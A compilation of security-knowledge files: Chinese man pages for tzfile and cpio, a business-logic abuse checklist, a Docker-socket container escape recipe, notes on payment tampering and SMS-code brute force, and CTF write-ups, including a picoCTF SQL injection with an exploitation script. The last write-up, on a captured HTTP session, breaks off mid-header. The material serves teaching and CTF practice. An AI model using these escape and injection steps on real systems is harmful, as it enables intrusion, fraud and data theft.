.TH TZFILE 5 .SH NAME tzfile \- 时区信息 .SH SYNOPSIS .B #include <tzfile.h> .SH DESCRIPTION 时区信息文件被 .IR tzset(3) 使用, 其开头为特征字符"TZif", 以此 标示该文件为时区信息文件, 随后六个字节保留未用. 接下来是六 个"标准"字节顺序(高位在前)的四字节 .BR long 类型值, 按顺序描述 如下: .TP .I tzh_ttisgmtcnt 保存在文件中的UTC/local指示器数目. .TP .I tzh_ttisstdcnt 保存在文件中的standard/wall指示器数目. .TP .I tzh_leapcnt 其值保存在文件中的leap second的数目 .TP .I tzh_timecnt 其值保存在文件中的"变化时间"数目 .TP .I tzh_typecnt 其值保存在文件中的"本地时间类型"数目(非零!) .TP .I tzh_charcnt 保存在文件中的"时区简写符"数目 .PP 跟在上面这些头部后的是 .I tzh_timecnt 个"标准"字节顺序的四字 节 .BR long 类型值, 以升序排序. 每个值均作为一个变化时间(就像 .IR time (2) 的返回), 系统依赖这些值来计算本地时间变化. 而在此 之后的是 .I tzh_timecnt 个 .BR "unsigned char" 类型的一字节值, 这些 值指出了文件中描述的多种"本地时间"类型中哪一个与具有相同索 引的变化时间相关. 这些值可作为 .I ttinfo 结构数组的索引. 而 .I ttinfo 结构在文件中随后就有定义, 描述如下: .in +.5i .sp .nf .ta .5i +\w'unsigned int\0\0'u struct ttinfo { long tt_gmtoff; int tt_isdst; unsigned int tt_abbrind; }; .in -.5i .fi .sp 结构包括一个"标准"字节顺序的四字节 .BR long 类型值 .I tt_gmtoff, 以及一个一字节的 .I tt_isdst 和一个一字节的 .IR tt_abbrind. 在每 个结构里, .I tt_gmtoff 给出了要被加到UTC的时间, 以秒为单位, .I tt_isdst 表明 .I tm_isdst 是否可通过 .I localtime (3) 设置, 而 .I tt_abbrind 可作为时区简写符的数组索引, 该数组在文件中跟在 .I ttinfo 结构后面. .PP 这样就有 .I tzh_leapcnt 个标准字节顺序的四字节对, 每个四字节 对的第一个值给出一个leap second发生的时间, 就如 .IR time(2) 的返回; 每个四字节对的第二个值给出给定时间之后所实现的总的 leap second数. 四字节对按时间的升序排序. .PP 同样有 .I tzh_ttisstdcnt 个standard/wall指示器, 每个保存了一 个一字节值; 这些指示器指出了变化时间(与本地时间类型相关)是 否被说明为standard time或者wall clock time, 以及当一个时区 文件被用于处理POSIX 格式时区环境变量时是否使用变化时间. .PP 最后, 有 .I tzh_ttisgmtcnt 个UTC/local指示器, 每个保存了一个 一字节值; 这些指示器指出了变化时间(与本地时间类型相关)是否 被说明为UTC 或者local time, 以及当一个时区文件被用于处理 POSIX格式时区环境变量时是否使用变化时间. .PP 如果 .I tzh_timecnt 等于零或者时间参数比文件记录的第一个变化 时间小的话, .I Localtime 就使用文件中的第一个标准时间 .I ttinfo, 或者在没有标准时间结构是就直接使用第一个 .I ttinfo 结构. .SH SEE ALSO newctime(3) .\" @(#)tzfile.5 7.11 .\" This file is in the public domain, so clarified as of .\" 1996-06-05 by Arthur David Olson (arthur_david_olson@nih.gov). .\" 中文版维护请mailto: mapping@263.net
sec-knowleage
# Business Logic Errors ## Introduction Business Logic Errors are ways of using the legitimate processing flow of an application in a way that results in a negative consequence to the organization. ## Where to find This vulnerability can appear in all features of the application. ## How to exploit 1. Review Functionality - Some applications have an option where verified reviews are marked with some tick or it's mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product. - Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve. - Try to see if the same user can post multiple ratings for a product. This is an interesting endpoint to check for Race Conditions. - Try to see if the file upload field is allowing any exts, it's often observed that the devs miss out on implementing protections on such endpoints. - Try to post reviews like some other users. - Try performing CSRF on this functionality, often is not protected by tokens 2. Coupon Code Functionality - Apply the same code more than once to see if the coupon code is reusable. - If the coupon code is uniquely usable, try testing for Race Condition on this function by using the same code for two accounts at a parallel time. - Try Mass Assignment or HTTP Parameter Pollution to see if you can add multiple coupon codes while the application only accepts one code from the Client Side. - Try performing attacks that are caused by missing input sanitization such as XSS, SQLi, etc. on this field - Try adding discount codes on the products which are not covered under discounted items by tampering with the request on the server-side. 3. Delivery Charges Abuse - Try tampering with the delivery charge rates to -ve values to see if the final amount can be reduced. - Try checking for the free delivery by tampering with the params. 4. Currency Arbitrage - Pay in 1 currency say USD and try to get a refund in EUR. Due to the diff in conversion rates, it might be possible to gain more amount. 5. Premium Feature Abuse - Try forcefully browsing the areas or some particular endpoints which come under premium accounts. - Pay for a premium feature and cancel your subscription. If you get a refund but the feature is still usable, it's a monetary impact issue. - Some applications use true-false request/response values to validate if a user is having access to premium features or not. - Try using Burp's Match & Replace to see if you can replace these values whenever you browse the app & access the premium features. - Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not. 6. Refund Feature Abuse - Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible. - Try for currency arbitrage explained yesterday. - Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds. 7. Cart/Wishlist Abuse - Add a product in negative quantity with other products in positive quantity to balance the amount. - Add a product in more than the available quantity. - Try to see when you add a product to your wishlist and move it to a cart if it is possible to move it to some other user's cart or delete it from there. 8. Thread Comment Functionality - Unlimited Comments on a thread - Suppose a user can comment only once, try race conditions here to see if multiple comments are possible. - Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity. - Try posting comments impersonating some other users. 9. Parameter Tampering - Tamper Payment or Critical Fields to manipulate their values - Add multiple fields or unexpected fields by abusing HTTP Parameter Pollution & Mass Assignment - Response Manipulation to bypass certain restrictions such as 2FA Bypass ## References * [@harshbothra_](https://twitter.com/harshbothra_)
sec-knowleage
--- title: 挂载 Docker Socket 逃逸 --- <center><h1>挂载 Docker Socket 逃逸</h1></center> --- Docker Socket 用来与守护进程通信即查询信息或者下发命令。 ## 搭建 创建一个容器并挂载 /var/run/docker/sock 文件 ```plain docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu ``` 在容器内安装 Docker 命令行客户端 ```plain docker exec -it with_docker_sock /bin/bash apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh ``` ## 检测 ```plain ls -lah /var/run/docker.sock ``` 如果存在这个文件,说明漏洞可能存在 ## 复现 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部 ```plain docker run -it -v /:/host ubuntu /bin/bash ``` <img width="1200" src="/img/1650014060.png"> 在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,其实不挂载也行 ```plain chroot /host ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
原文 by do9gy ## 1.订单金额修改 提交订单时tamper 抓包,修改金额值,对传入参数没有验证,订单提交成功并可以付款。 修改币种 修改优惠券、积分 修改运费 修改商品id ... ## 2.重放交易 1)直接重放(如果允许重放,那些秒杀抢购活动就会被多次请求下单成功) 2)更换用户重放(CSRF) 3)拒绝服务(多次重放导致服务器响应不过来,某次重放交易金额为初始化的0) …… ## 3.暴力破解 1)用户密码可被暴力破解 2)短信验证码可被暴力破解 3)身份证后四位可被暴力破解 4)cvv2码可被暴力破解(CVV/CVC在联机交易(刷卡)的时候核对,CVV2/CVC2在非现场交易/手工交易(刷不到卡)时核对。) 5)撞库攻击 …… 比如一个站点可以使用手机和短信验证码登录,输入手机号,点击获取验证码后,随便输入一个验证码,点击确认,用 burpsuite 抓包 使用 intruderforce,可以对6位的验证码进行爆破,在服务器ban 掉之前,有一定概率的成功机会,有效时间内的尝试次数/1000000 ## 4.商品数量为负数或者小数 1)负数导致增加余额 2)负数抵消订单金额 3)整形溢出 4)小数四舍五入 …… ## 5.订单遍历 1)订单序号顺序遍历 2)加密方法被猜解 …… ## 6.越权(平行权限) 1)越权修改其他用户密码 2)修改其他用户资料 3)越权读取其他用户站内信 4)越权读取其他用户支付订单 ## 7.短信验证码 1)服务端回显短信验证码明文 2)短信验证码接口ddos 3)绑定手机号可允许篡改 4)任意手机号绑定 …… ## 8.多余的回显 1)输入A信息回显B信息 2)加密信息不统一 1334455xxxx与133xxxx6677 3)(用户名不存在)与(用户名或密码错误) ……
sec-knowleage
# DefCamp CTF 2019 Finals Team: chivay, des, nazywam, sasza, shalom ### Table of contents * [Crypto (crypto)](crypto) * [Simple-notes (web)](simple-notes) * [Lucky (web)](lucky) * [Treasure map (for/osint)](treasure-map) ![](scoreboard.png)
sec-knowleage
# shark on wire 1 Forensics, 150 points ## Description: > We found this packet capture. Recover the flag. ## Solution: A network capture was attached. ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_1# tshark -r capture.pcap | head Running as user "root" and group "root". This could be dangerous. 1 0.000000 192.168.2.1 → 239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 2 1.000498 192.168.2.1 → 239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 3 2.001016 192.168.2.1 → 239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 4 3.002419 192.168.2.1 → 239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 5 14.589681 192.168.2.1 → 192.168.2.255 BROWSER 243 Local Master Announcement LAPTOP-HCSFMST7, Workstation, Server, NT Workstation, Potential Browser, Master Browser 138 138 6 21.094272 fe80::8dd3:64c9:4ef3:82a3 → ff02::1:3 LLMNR 84 Standard query 0x724e A wpad 50462 5355 7 21.094285 192.168.2.1 → 224.0.0.252 LLMNR 64 Standard query 0x724e A wpad 50462 5355 8 21.506682 fe80::8dd3:64c9:4ef3:82a3 → ff02::1:3 LLMNR 84 Standard query 0x724e A wpad 50462 5355 9 21.506697 192.168.2.1 → 224.0.0.252 LLMNR 64 Standard query 0x724e A wpad 50462 5355 10 35.861119 Vmware_b9:02:a9 → Broadcast ARP 60 Who has 10.0.0.5? Tell 10.0.0.6 ``` The following command searches the UDP streams for the flag format: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_1# PCAP=capture.pcap; END=$(tshark -r $PCAP -T fields -e udp.stream | sort -n | tail -1); for ((i=0;i<=END;i++)); do tshark -r $PCAP -Y "udp.stream eq $i" -T fields -e data.text -o data.show_as_text:TRUE 2>/dev/null | tr -d '\n' | grep "picoCTF"; if [ $? -eq 0 ]; then echo "(Stream #$i)"; fi; done Running as user "root" and group "root". This could be dangerous. picoCTF{StaT31355_636f6e6e} (Stream #6) picoCTF{N0t_a_fLag} (Stream #7) ``` The flag was found in the sixth stream.
sec-knowleage
# Empire1 Web Exploitation, 400 points ## Description: > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/45012/ Can you first find the secret code they assigned to you? ## Solution: The attached website provides registration and login pages, which do not seem to contain any vulnerabilities. After registering and signing in, the service allows submitting a TODO via the following form: ```html <form action="" method="post" class="form" role="form"> <input id="csrf_token" name="csrf_token" type="hidden" value="IjI0ZjFiNTQ2ZmZiY2Q0ZTkzYzBlYTE4NWZmZjg5ZWFiNmVkMGM2ZDgi.XaDrHw.j2B7AzusTP7lPFthEkrCXCp-2qM"> <div class="form-group required"><label class="control-label" for="item">Todo?</label> <input class="form-control" id="item" name="item" required type="text" value=""> </div> <input class="btn btn-default" id="submit" name="submit" type="submit" value="Create"> </form> ``` The result is later available on another page, for example: ```html <h1 class="page-header">Things You Gotta Do</h1> <ul class="list-unstyled"> <div class="row"> <div class="col-md-6"> <div class="well well-sm"> <li> <strong>Very Urgent:</strong> Test </li> </div> </div> </div> </ul> ``` The "Very Urgent:" prefix is automatically prepended to any text provided by the user. After trying different strategies, I found that the page is vulnerable to SQL injection using the following syntax: ``` '||(SQL)||' ``` For example: ``` '||(select tbl_name FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE)||' ``` Using the following interactive shell, it is possible to test different SQL queries and see the result: ```python import re import html import requests from cmd import Cmd from bs4 import BeautifulSoup class Empire1(object): BASE_URL = "https://2019shell1.picoctf.com/problem/45012" def __init__(self): self.session = requests.Session() def login(self, username, password): text = self.post(self.BASE_URL + "/login", {"username": username, "password": password}) if "Invalid username or password" in text: raise Exception("Can't login") def post(self, uri, data): r = self.session.get(uri, headers = {"Referer": uri}) csrf = self.get_csrf_token(r.text) d = {"csrf_token": csrf} d.update(data) r = self.session.post(uri, data = d, allow_redirects = True, headers = {"Referer": uri}) if r.status_code != 200: raise Exception("Can't post to '{}'".format(uri)) return r.text def add_item(self, item): text = self.post(self.BASE_URL + "/add_item", {"item": item}) if "Item Added" not in text: raise Exception("Can't add item '{}'".format(item)) def get_last_item(self): r = self.session.get(self.BASE_URL + "/list_items") parsed_html = BeautifulSoup(r.text, "lxml") return parsed_html.body.find_all('div', attrs={'class':'well well-sm'})[-1].findChildren("li" , recursive=False)[0].get_text().replace("Very Urgent: ", "") def get_csrf_token(self, html): token = re.search(r'<input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)">', html, re.MULTILINE) if token is None: raise Exception("Can't find CSRF token") return token.group(1) class MyPrompt(Cmd): def __init__(self): Cmd.__init__(self) self.site = Empire1() self.site.login("user", "password") print "Logged in" def do_exit(self, inp): return True def do_send(self, param): q = "'||({})||'".format(param) self.site.add_item(q) print self.site.get_last_item() MyPrompt().cmdloop() ``` The script assumes that we've already registered with the `user:password` credentials. It also requires prepending the command `send` to each SQL command, in order to trigger `do_send`. The DB used for this website is SQLite. We first leak the tables and table structure using `sqlite_master`, then we search for the flag within the DB. ```console root@kali:/media/sf_CTFs/pico/Empire1# python shell.py Logged in (Cmd) send select tbl_name FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE user (Cmd) send select tbl_name FROM sqlite_master WHERE type='table' limit 1,1 COLLATE NOCASE todo (Cmd) send select tbl_name FROM sqlite_master WHERE type='table' limit 2,1 COLLATE NOCASE None (Cmd) send select sql FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) ) (Cmd) send select sql FROM sqlite_master WHERE type='table' limit 1,1 COLLATE NOCASE CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) ) (Cmd) send select item FROM todo where item like '%picoCTF%' limit 0,1 COLLATE NOCASE None (Cmd) send select secret FROM user where secret like '%picoCTF%' limit 0,1 COLLATE NOCASE picoCTF{wh00t_it_a_sql_injecta60643ae} (Cmd) exit ```
sec-knowleage
.TH CPIO 1 \" -*- nroff -*- .SH NAME cpio \- 存取归档包中的文件 .SH 总览 (SYNOPSIS) .B cpio {\-o|\-\-create} [\-0acvABLV] [\-C bytes] [\-H format] [\-M message] [\-O [[user@]host:]archive] [\-F [[user@]host:]archive] [\-\-file=[[user@]host:]archive] [\-\-format=format] [\-\-message=message] [\-\-null] [\-\-reset-access-time] [\-\-verbose] [\-\-dot] [\-\-append] [\-\-block-size=blocks] [\-\-dereference] [\-\-io-size=bytes] [\-\-quiet] [\-\-force\-local] [\-\-help] [\-\-version] < name-list [> archive] .B cpio {\-i|\-\-extract} [\-bcdfmnrtsuvBSV] [\-C bytes] [\-E file] [\-H format] [\-M message] [\-R [user][:.][group]] [\-I [[user@]host:]archive] [\-F [[user@]host:]archive] [\-\-file=[[user@]host:]archive] [\-\-make-directories] [\-\-nonmatching] [\-\-preserve-modification-time] [\-\-numeric-uid-gid] [\-\-rename] [\-\-list] [\-\-swap-bytes] [\-\-swap] [\-\-dot] [\-\-unconditional] [\-\-verbose] [\-\-block-size=blocks] [\-\-swap-halfwords] [\-\-io-size=bytes] [\-\-pattern-file=file] [\-\-format=format] [\-\-owner=[user][:.][group]] [\-\-no-preserve-owner] [\-\-message=message] [\-\-force\-local] [\-\-no\-absolute\-filenames] [\-\-sparse] [\-\-only\-verify\-crc] [\-\-quiet] [\-\-help] [\-\-version] [pattern...] [< archive] .B cpio {\-p|\-\-pass-through} [\-0adlmuvLV] [\-R [user][:.][group]] [\-\-null] [\-\-reset-access-time] [\-\-make-directories] [\-\-link] [\-\-quiet] [\-\-preserve-modification-time] [\-\-unconditional] [\-\-verbose] [\-\-dot] [\-\-dereference] [\-\-owner=[user][:.][group]] [\-\-no-preserve-owner] [\-\-sparse] [\-\-help] [\-\-version] destination-directory < name-list .SH 描述 (DESCRIPTION) 本手册页 描述 GNU 版本 的 .BR cpio . .B cpio 可以 从 cpio 或 tar 格式 的 归档包(archive) 中 读写 文件, 归档包 是 一种文件, 它 由 归档文件 及其 相关信息 组成, 例如 文件名, 属主, 时标 (timestamp), 和 访问权限. 归档包 可以 是 磁盘上的 文件, 也可以 是 磁带或管道. .B cpio 有 三种 操作模式. .PP 在 copy-out 模式中, .B cpio 把 文件 复制到 归档包 中. 它 从 标准输入 读取 文件名列表, 每行一个文件名. 生成的 归档包 写到 标准输出. 产生 文件名列表 的 典型方法 是 使用 .B find 命令; 你 可能 要在 .B find 后面 用上 \-depth 选项, 减少 因为 进入 没有 访问权限 的 目录 引起 的 麻烦. .PP 在 copy-in 模式中, .B cpio 从 归档包 读取 文件, 或者 列出 归档包 的 内容, 归档包 来自 标准输入. 任何 非选项 命令行参数 被视为 shell 的 通配符模式串 (globbing pattern); 在 归档包 中, 只 读取 文件名 匹配 这些 模式串 的 文件. 和 shell 环境 不一样, 文件名 起始处 的 '.' 可以 匹配 模式串 起始处 的 通配符, 文件名中 的 '/' 也可以 匹配 通配符. 如果 没有 给出 模式串, 那么 读取 所有 文件. .PP 在 copy-pass 模式中, .B cpio 把 文件 从 一棵目录树 复制到 另一棵, 它 结合了 copy-in 和 copy-out 的 操作, 但是 没有 使用 归档包. .B cpio 从 标准输入 读取 欲复制的 文件名列表; 目标目录 是 非选项命令行参数. .PP .B cpio 支持 下列的 归档 格式: binary, old ASCII, new ASCII, crc, HPUX binary, HPUX old ASCII, old tar, 和 POSIX.1 tar. "binary" 格式 是 过时 格式, 因为 它 保存 文件信息 的 方法 无法 应用在 不同体系 的 机器 上. "old ASCII" 格式 可以 跨平台 使用, 但是 不能 用于 超过 65536 个 i 节点 的 文件系统 中. "new ASCII" 格式 可以 跨平台 使用, 也 适用于 任意大小 的 文件系统 上, 但 不是 所有 版本 的 .BR cpio 都 支持, 目前 只有 GNU 和 System VR4 的 cpio 能够 支持 "new ASCII" 格式. "crc" 格式 类似于 "new ASCII" 格式, 而且 对每个 文件 计算 校验和; .B cpio 在 创建 归档包 时 计算 校验和, 解开 文件 时 进行 校验. "HPUX" 格式 用于 兼容 HP UNIX 的 cpio, 它 用了 独特的方法 保存 设备文件. .PP "tar" 格式 用以 兼容 .B tar 程序. 它 不能 对 文件名 超过 100 个 字符 的 文件 归档, 也 不能 对 特殊文件 (块设备 或 字符设备) 归档. "POSIX.1 tar" 格式 不能 对 文件名 超过 255 个 字符 的 文件 归档 (小于 255, 除非 文件名 的 最右边 有一个 "/"). .PP 缺省情况下, .B cpio 为了 兼容 老式的 .B cpio 程序, 创建 "binary" 格式 的 归档包. 当展开 归档包 时, .B cpio 能够 自动识别 归档包 的 格式, 而且 能够 读取 不同 字节顺序 的 机器 上 创建 的 归档包. .PP .B cpio 的 某些 选项 只能 用在 相应的 操作模式 上; 参见 总览 小节, 里面 列出了 什么模式 可以用 什么选项. .SS 选项 (OPTIONS) .TP .I "\-0, \-\-null" 在 copy-out 和 copy-pass 模式中, 认为 输入的 文件名 以 null 字符 结尾, 而不是 换行符, 这样 即使 文件名 中 包含 换行符, 也 不影响 归档. GNU .B find 是 生成 null 结尾 文件名 列表 的 方法 之一. .TP .I "\-a, \-\-reset-access-time" 读取完 文件 后 重置 文件的访问时间, 这样 看上去 就象 没有 访问 过 这个 文件. .TP .I "\-A, \-\-append" 添加到 现存的 归档包 中. 仅用于 copy-out 模式. 该 归档包 必须是 用 .I \-O 或 .I "\-F (\-\-file)" 选项 生成的 磁盘文件. .TP .I "\-b, \-\-swap" 在 copy-in 模式中, 颠倒 数据中 字 的 字节 顺序. 相当于 .IR "\-sS" . 使用 这个 选项 可以 在 大端数 和 小端数 机器 之间 转换 32 位 整数. .TP .I "\-B" 把 I/O 块 大小 设置成 5120 字节. 最初的 块大小 是 512 字节. .TP .I "\-\-block-size=BLOCK-SIZE" 设置 I/O 块 大小 为 BLOCK-SIZE * 512 字节. .TP .I "\-c" 使用 老式的 跨平台 (ASCII) 归档 格式. .TP .I "\-C IO-SIZE, \-\-io-size=IO-SIZE" 设置 I/O 块 大小 为 IO-SIZE 字节. .TP .I "\-d, \-\-make-directories" 在 需要的地方 创建 起始目录. .TP .I "\-E FILE, \-\-pattern-file=FILE" 在 copy-in 模式中, 从 FILE 里 读取 用于 匹配 文件名 的 模式串. FILE 的 内容 如同 .BR cpio 的 非选项 参数. .TP .I "\-f, \-\-nonmatching" 只复制 那些 不匹配 给定的 模式串 的 文件. .TP .I "\-F, \-\-file=archive" 使用 归档包文件, 而不是 标准输入或输出. 如果 把 其他 机器上 的 磁带机 作成 归档包文件, 文件名 要用 "HOSTNAME:" 开始. 主机名 前面 可以 加上 用户名 和 一个 '@', 作为 访问 远程 磁带机 的 用户 (如果 你有 这样的 权限, 一般 在 用户的 ~/.rhosts 文件中 会有 这么 一项). .TP .I "\-\-force-local" 和 .IR \-F , .IR \-I , 或 .IR \-O , 一起用, 可以 把 归档包文件 看作 本地文件, 即使 文件名 中 含有 冒号, 一般说来 冒号 指出 一个 远程主机 的 存在. .TP .I "\-H FORMAT, \-\-format=FORMAT" 使用 归档格式 FORMAT. 有效 的 格式 列在 下面, 大小写 均可. "copy-in" 模式 的 缺省动作 是 自动检测 归档格式, "copy-out" 的 缺省格式 是 "bin". .RS .IP bin 老式的 binary 格式. .IP odc 老式的 (POSIX.1) 跨平台 格式. .IP newc 新型 (SVR4) 跨平台 格式, 支持 大于 65536 i节点 的 文件系统. .IP crc 新型 (SVR4) 跨平台 格式, 并且 计算 校验和. .IP tar 老式的 tar 格式. .IP ustar POSIX.1 tar 格式, 也能 识别 GNU .B tar 归档文件, 它们 相似 但不全相同. .IP hpbin HP UNIX 上的 cpio 使用的 老式的 binary 格式. (用 独特的方法 储存 设备文件) .IP hpodc HP UNIX 上的 cpio 使用的 跨平台 格式. (用 独特的方法 储存 设备文件) .RE .TP .I "\-i, \-\-extract" 进入 copy-in 模式. .TP .I "\-I archive" 使用 归档包文件, 而不是 标准输入. 如果 把 其他 机器上 的 磁带机 作成 归档包文件, 文件名 要用 "HOSTNAME:" 开始. 主机名 前面 可以 加上 用户名 和 一个 '@', 作为 访问 远程 磁带机 的 用户 (如果 你有 这样的 权限, 一般 在 用户的 ~/.rhosts 文件中 会有 这么 一项). .TP .I \-k 无效操作; 只是 用来 兼容 其他 版本 的 .BR cpio . .TP .I "\-l, \-\-link" 如果有可能, 连接 文件, 而不是 复制. .TP .I "\-L, \-\-dereference" 解除 符号连接 的 关联 (复制 符号连接 指向的 文件, 而不是 连接 本身). .TP .I "\-m, \-\-preserve-modification-time" 当 创建 文件 时, 保留 以前的 文件修改时间. .TP .I "\-M MESSAGE, \-\-message=MESSAGE" 当 备份 媒体 (例如 磁带或软盘) 到达 卷尾时, 显示 一条 消息, 提醒 用户 插入 下一卷. 如果 MESSAGE 包含 字符串 "%d", 它 替换成 当前 卷号 (从 1 开始). .TP .I "\-n, \-\-numeric-uid-gid" 以 繁琐模式 (verbose) 显示 内容 时, 用 数字 显示 UID 和 GID, 而 不是 名称. .TP .I " \-\-no-absolute-filenames" 在 copy-in 模式中, 在 当前目录中 创建 所有 相关 文件, 即使 它们 在 归档包中 有 绝对路径名. .TP .I " \-\-no-preserve-owner" 在 copy-in 和 copy-pass 模式中, 不改变 文件 的 属主关系 (译注: 疑为不保留); 使 它们 属于 展开 它们 的 用户. 这是 普通用户 的 缺省行为, 因此 System V 的 用户 不致于 无意中 把 文件 送人. .TP .I "\-o, \-\-create" 进入 copy-out 模式. .TP .I "\-O archive" 使用 归档包文件, 而不是 标准输出. 如果 把 其他 机器上 的 磁带机 作成 归档包文件, 文件名 要用 "HOSTNAME:" 开始. 主机名 前面 可以 加上 用户名 和 一个 '@', 作为 访问 远程 磁带机 的 用户 (如果 你有 这样的 权限, 一般 在 用户的 ~/.rhosts 文件中 会有 这么 一项). .TP .I " \-\-only-verify-crc" 当以 copy-in 模式 读入 CRC 格式 的 归档包 时, 不展开 里面的文件, 只是 测试 文件的 CRC 码. .TP .I "\-p, \-\-pass-through" 进入 copy-pass 模式. .TP .I "\-\-quiet" 不显示 复制的 块数. .TP .I "\-r, \-\-rename" 交互式 文件 改名. .TP .I "\-R [user][:.][group], \-\-owner [user][:.][group]" 在 copy-out 和 copy-pass 模式中, 把 所有文件 的 属主 设置为 指定的 用户 和/或 用户组. 无论 用户 还是 用户组 都必须 存在. 如果 省略 用户组, 但却 给出了 分隔符 ":" 或 ".', 则 使用 该 用户 的 登录用户组. 只有 超级用户 能够 改变 文件的属主. .TP .I "\-\-sparse" 在 copy-out 和 copy-pass 模式中, 把 大块 数据0 的 文件 写成 稀疏文件 (sparse file). .TP .I "\-s, \-\-swap-bytes" 在 copy-in 模式中, 交换 文件中 每一个 半字(字节对) 中的 字节. .TP .I "\-S, \-\-swap-halfwords" 在 copy-in 模式中, 交换 文件中 每一个 字(4字节) 中的 半字. .TP .I "\-t, \-\-list" 显示 输入(归档包) 的 内容. .TP .I "\-u, \-\-unconditional" 替换 所有 文件, 不再提问 是否 用 旧文件 替换 已经存在的 新文件. .TP .I "\-v, \-\-verbose" 列出 处理的文件, 加上 .IR \-t 选项 可以 列出 一个 'ls \-l' 风格的列表. 在一个 归档包 的 内容 详细列表 (verbose) 中, 如果 本地系统 不存在 归档文件的 用户和用户组 名称, 就用 其数字 UID和GID 对应于 本地系统的 用户和用户组 名称 代替. .TP .I "\-V \-\-dot" 每处理一个文件, 显示一个 ".". .TP .I "\-\-version" 显示 .B cpio 程序 的 版本号, 然后退出. .SH "[中文版维护人]" .B 徐明 <xuming@iname.com> .SH "[中文版最新更新]" .BR 2001/09/25 .SH "《中国Linux论坛man手册页翻译计划》" .B http://cmpp.linuxforum.net
sec-knowleage
# CyberTank Unsecured Network A network capture was attached. ## Authentication (25 points) > The CyberTank engineers build super-robust cars. Their website on the other hand appears to be using plain HTTP. Yikes! > > After capturing some unsecured communications you could even find the password to the employee area! > > Flag format: password Let's take a look at the network capture: ``` root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# tshark -r cybertank.pcap | head Running as user "root" and group "root". This could be dangerous. 1 0.000000 192.168.164.1 → 203.0.113.9 TCP 66 50242 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1 50242 80 2 0.000092 203.0.113.9 → 192.168.164.1 TCP 66 80 → 50242 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=128 80 50242 3 0.000469 192.168.164.1 → 203.0.113.9 TCP 60 50242 → 80 [ACK] Seq=1 Ack=1 Win=1051136 Len=0 50242 80 4 0.002270 192.168.164.1 → 203.0.113.9 HTTP 509 GET /privacypolicy HTTP/1.1 50242 80 5 0.002328 203.0.113.9 → 192.168.164.1 TCP 54 80 → 50242 [ACK] Seq=1 Ack=456 Win=30336 Len=0 80 50242 6 0.002859 203.0.113.9 → 192.168.164.1 TCP 233 HTTP/1.1 200 OK [TCP segment of a reassembled PDU] 80 50242 7 0.002977 203.0.113.9 → 192.168.164.1 TCP 7354 80 → 50242 [ACK] Seq=180 Ack=456 Win=30336 Len=7300 [TCP segment of a reassembled PDU] 80 50242 8 0.003164 203.0.113.9 → 192.168.164.1 HTTP 1431 HTTP/1.1 200 OK (text/html) 80 50242 9 0.003738 192.168.164.1 → 203.0.113.9 TCP 60 50242 → 80 [ACK] Seq=456 Ack=8858 Win=1051136 Len=0 50242 80 10 0.005770 192.168.164.1 → 203.0.113.9 TCP 60 50242 → 80 [FIN, ACK] Seq=456 Ack=8858 Win=1051136 Len=0 50242 80 ``` The capture contained many HTTP streams, capturing an HTTP session. At some stage, the user asks for a page which requires authorization: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# tshark -r cybertank.pcap -qz follow,tcp,ascii,20 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 20 Node 0: 192.168.164.1:50262 Node 1: 203.0.113.9:80 451 GET /employees HTTP/1.1 Host: cybertank.tlv Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7 246 HTTP/1.1 401 Unauthorized Host: cybertank.tlv Date: Sat, 25 Jan 2020 20:20:42 GMT Connection: close X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1 WWW-Authenticate: Basic realm="CyberTank Employee Area" Content-type: text/html; charset=UTF-8 ``` This uses the HTTP Authentication scheme. The next stream shows the request after the user has entered his username and password: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Unsecured# tshark -r cybertank.pcap -qz follow,tcp,ascii,21 | head -n 20 Running as user "root" and group "root". This could be dangerous. =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 21 Node 0: 192.168.164.1:50265 Node 1: 203.0.113.9:80 536 GET /employees HTTP/1.1 Host: cybertank.tlv Connection: keep-alive Cache-Control: max-age=0 Authorization: Basic 